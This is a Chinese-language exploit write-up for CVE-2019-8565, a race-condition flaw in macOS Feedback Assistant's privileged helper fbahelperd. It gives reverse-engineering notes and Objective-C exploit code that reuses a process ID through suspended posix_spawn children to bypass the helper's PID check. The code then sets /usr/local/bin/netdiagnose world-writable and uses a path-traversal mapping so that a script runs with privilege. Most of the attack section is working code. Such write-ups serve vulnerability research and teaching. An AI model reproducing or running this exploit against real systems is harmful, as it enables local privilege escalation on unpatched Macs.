0x001 前言
一个具有特权的用户态进程从一个不具有特权的client进程接收到一个IPC消息,首先要做的就是验证client进程的有效性,一般是通过代码签名(如bundle id、PID或者entitlement等等)。如果是基于PID的安全检查,那么就可以利用PID的重用攻击来绕过检查。CVE-2019-8565是用户态上的一个条件竞争漏洞,在macOS 10.14.3及以下版本存在。该漏洞存在于Feedback Assistant的service程序fbahelperd,通过child进程竞争重用parent进程的PID,绕过安全检查,导致在特权下执行脚本命令。基于PID的安全检查一般会调用这类API:sandbox_check、SecTaskCreateWithPID。
0x002 调试环境
主机: macOS Mojave 10.14.2 18C54
0x003 漏洞成因分析
查看本机上的服务,这里的fbahelperd就是我们本文中的主角
r2看看导出的类和方法,有一个接口类FBAPrivilegedDaemon,这个对我们写EXP比较重要,这里先记下来。再看到- (char) listener:shouldAcceptNewConnection:这个方法,接下来重点分析以下这个方法。
IDA分析fbahelperd这个程序,找到方法listener:shouldAcceptNewConnection:。看到代码中标记出来的这些地方,比较明显是调用了processIdentifier对象方法,这一般是进行PID检查。另外,还有一个SecCodeCreateWithPID的提示,基本上确定了,fbahelperd这个service接收到clientFeedback Assistant发出的XPC消息后会做一个PID的检查。
另外还有一些bundle id等的检查需要绕过
查看fbahelperd对应的plist文件,据此构造子进程发送的XPC消息
条件竞争的触发过程:
- 通过
posix_spawn或者NSTask创建多个client进程。 - 通过clien发送多个XPC消息到server端以阻塞消息队列。
- 传递
POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED到posix_spawn去创建挂起状态的子进程并且重用父进程的PID。 - 若是父进程能成功访问
/usr/local/bin/netdiagnose,证明子进程成功重用了父进程的PID,并且通过了安全检查,同样,父进程也通过了检查。
0x004 Bypass security check
创建挂起状态的子进程,重用父进程PID并绕过检查
void child(const char *path, int stage) {
NSDictionary *transformed = [[NSDictionary alloc] initWithContentsOfFile:[NSString stringWithUTF8String:path]]; // "/var/log/../../../var/folders/cf/jsvwdrj532q17tgmsnxl4x1c0000gn/T/E694DB2F-72C9-4911-85F5-E1FED6726D6C-52092-00004AAFD253FE62/bin/root.sh" = "/tmp/../../usr/local/bin/netdiagnose"
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.appleseed.fbahelperd"
options:NSXPCConnectionPrivileged];
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(FBAPrivilegedDaemon)];
[connection resume];
id remote = connection.remoteObjectProxy;
......
char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
创建、终止子进程宏
#define RACE_COUNT 16
#define SPAWN_CHILDREN(stage)
for (int i = 0; i < RACE_COUNT; i++)
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ session, @ #stage ]];
#define TERMINATE_CHILDREN
for (int i = 0; i < RACE_COUNT; i++)
[processes[i] terminate];
触发条件竞争
int exploit(NSString *session, const char *canary) {
int status = 0;
NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];
LOG("Now race");
SPAWN_CHILDREN(1);
int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};
while (access(canary, F_OK) == -1) { // 访问"/usr/local/bin/netdiagnose"失败,等待,用以判断race是否成功
nanosleep(&ts, NULL);
if (++i > 4) { // wait for 2 seconds at most
LOG("Stage 1 timed out, retry");
status = -1;
goto cleanup;
}
}
chmod(canary, 0777); // 访问成功后将权限提到最高
LOG("Stage 1 succeed");
cleanup:
TERMINATE_CHILDREN
return status;
}
成功绕过service的检测







